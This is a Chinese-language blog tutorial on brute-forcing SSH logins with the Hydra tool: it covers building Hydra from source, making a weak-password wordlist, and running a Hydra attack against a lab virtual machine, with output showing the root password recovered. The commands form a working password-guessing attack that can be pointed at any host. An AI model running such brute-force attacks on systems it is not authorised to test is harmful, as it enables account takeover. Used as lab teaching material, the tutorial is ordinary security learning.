Linux安全-攻擊篇-密碼破解之Hydra工具

cd27380201發表於2020-08-10

1.前言

1.1 關於法律

本文僅從安全形度去探討測試,請勿非法使用,遵守法律法規。

1.2 Hydra介紹

Hydra是一款基於協議的線上連線測試密碼安全工具,支援多款協議。

1.3 測試環境

Linux多使用SSH協議進行登入管理,所以本文僅介紹Hydra關於SSH方面的使用,從而進行測試、破解密碼。
Linux版本:

[root@legend_never_dies opt]# uname -a
Linux legend_never_dies 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

2.準備工作

2.1安裝Hydra

官方安裝原文(文末有Hydra的GitHub連結):

type "./configure", then "make" and finally "sudo make install"

For special modules you need to install software packages before
you run "./configure":
  Ubuntu/Debian:  apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncurses5-dev
  Redhat/Fedora:  yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
  OpenSuSE:       zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

For the Oracle login module, install the basic and SDK packages:
 http://www.oracle.com/technetwork/database/features/instant-client/index.html

2.1.1 安裝依賴環境

根據官文介紹,本機使用測試環境的linux版本為centos,所以對應需要使用Redhat/Fedora的yum安裝。

[root@legend_never_dies opt]# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel -y

末尾的-y引數為同意安裝,即不提示確認是否安裝。

2.1.2 安裝Hydra

依賴環境安裝成功後,接著就是下載tar包進行解壓並安裝。
下載:

[root@legend_never_dies opt]# wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz

解壓:

[root@legend_never_dies opt]# tar xzvf v9.1.tar.gz 

安裝:

[root@legend_never_dies opt]# ls
thc-hydra-9.1  tmp  v9.1.tar.gz
[root@legend_never_dies opt]# cd thc-hydra-9.1/
[root@legend_never_dies thc-hydra-9.1]# ./configure

執行成功後繼續使用make下一步安裝。
conf成功

[root@legend_never_dies thc-hydra-9.1]# make

make成功後繼續下一步make install安裝。
make成功

[root@legend_never_dies thc-hydra-9.1]# make install

至此Hydra安裝完畢

2.2 字典

字典的質量決定密碼破解的效率及是否成功破解。

2.2.1 賬號字典

本文不具體介紹賬號字典的細節,具體使用方法為使用hydra -L user.txt。

2.2.2 密碼字典

為做測試,手動輸入一些簡單密碼,如123,123456,123321等弱密碼作為密碼字典,並在後面進行修改測試機的密碼為字典中密碼,用於測試是否成功。
生成pass.txt,用作密碼字典。

[root@legend_never_dies test]# cat >pass.txt<<EOF
> 123
> 456
> 789
> 123456
> 654321
> 123321
> EOF

3.實戰破解

由於是測試環境,所以我這裡新建一個虛擬機器進行破解測試,實際環境破解測試密碼時,修改IP為對應IP即可。
測試機IP為:10.20.151.183
-l為指定使用者,-P為指定密碼檔案,-t為指定執行緒數量(具體多少請根據配置自行修改)-vV為顯示進展詳情

3.1 測試密碼-未發現密碼

為方便展示,不使用-vV引數,各位有興趣可以使用該引數。

[root@legend_never_dies test]# hydra -l root -P pass.txt ssh://10.20.151.183 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-10 20:40:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ssh://10.20.151.183:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-10 20:40:15

執行結果:1 of 1 target completed, 0 valid password found

3.2 測試密碼-發現密碼

為確保密碼字典中涵蓋測試機的正確密碼,所以手動修改一下root的密碼為123321。

[root@legend_never_dies test]# passwd
更改使用者 root 的密碼 。
新的 密碼:
無效的密碼: 密碼是一個迴文
重新輸入新的 密碼:
passwd:所有的身份驗證令牌已經成功更新。

接著使用hydra進行破解測試

[root@legend_never_dies test]# hydra -l root -P pass.txt ssh://10.20.151.183 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-10 20:41:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ssh://10.20.151.183:22/
[22][ssh] host: 10.20.151.183   login: root   password: 123321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-10 20:41:08

執行結果:
[22][ssh] host: 10.20.151.183 login: root password: 123321
1 of 1 target successfully completed, 1 valid password found。
具體的賬號密碼為root,密碼為123321.
可以使用-o 引數指定儲存結果輸出到檔案中,注意,該引數需要寫在-P後,IP前,不然會提示錯誤。

4.其他

後續有時間在寫一下關於防禦篇,再次重申請勿使用非法途徑!!!

關於Hydra:
Github:https://github.com/vanhauser-thc/thc-hydra

相關文章